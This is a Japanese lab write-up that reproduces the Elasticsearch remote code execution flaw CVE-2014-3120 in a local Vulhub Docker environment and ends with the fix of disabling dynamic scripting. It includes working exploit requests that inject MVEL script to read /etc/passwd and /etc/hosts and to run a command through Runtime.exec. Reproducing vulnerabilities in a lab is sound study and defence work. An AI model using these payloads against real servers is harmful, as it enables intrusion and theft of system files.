Vulnhubによる脆弱性の再現-ElasticSearchコマンドによる脆弱性の実行(CVE-2014-3120)テスト環境

3550 ワード

ElasticSearchコマンド実行脆弱性(CVE-2014-3120)テスト環境
  • Vulnhub公式再現チュートリアル
  • 脆弱性原理
  • 脆弱性の再現
  • 起動環境
  • 脆弱性の再現
  • 処理方法
  • Vulnhub公式再現チュートリアル
    https://vulhub.org/#/environments/elasticsearch/CVE-2014-3120/
    脆弱性の原理
    関連ドキュメント:http://bouk.co/blog/elasticsearch-rce/、 https://www.t00ls.net/viewthread.php?tid=29408
    旧リリースのElasticSearchでは、ダイナミックスクリプト(MVEL)の転送をサポートし、Javaコードを実行でき、砂箱がないため、任意のコードを直接実行できます.
    MVEL実行コマンドのコードは以下の通りである.
    import java.io.*;
    new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();
    

    抜け穴を再現する.
    環境の起動
    https://blog.csdn.net/JiangBuLiu/article/details/93853056アクセスパスは
    cd /root/vulhub/elasticsearch/CVE-2014-3120
    

    脆弱性環境の構築と運用:
    docker-compose build && docker-compose up -d
    

    時間:8分間の環境起動後、
    脆弱性の再現
    Javaコードをjsonに入れます.
    curl -XPOST 'http://localhost:9200/_search?pretty' -d '
    {
      "size": 1,
      "query": {
        "filtered": {
          "query": {
            "match_all": {}
          }
        }
      },
      "script_fields": {
        "/etc/hosts": {
          "script": "import java.util.*;
    import java.io.*;
    new Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;
    import java.io.*;
    new Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } '

    まず、この脆弱性にはesに少なくとも1つのデータが必要です.そのため、まず1つのデータを作成する必要があります.
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "phithon"
    }
    

    利用Vulnhub复现漏洞 - ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境_第1张图片その後、任意のコードを実行します.
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 343
    
    {
        "size": 1,
        "query": {
          "filtered": {
            "query": {
              "match_all": {
              }
            }
          }
        },
        "script_fields": {
            "command": {
                "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
            }
        }
    }
    

    利用Vulnhub复现漏洞 - ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境_第2张图片
    処理方法
    スクリプトを実行する機能をオフにして、プロファイルelasticsearch.ymlには、ノードごとに次のものが追加されます.
    script.disable_dynamic: true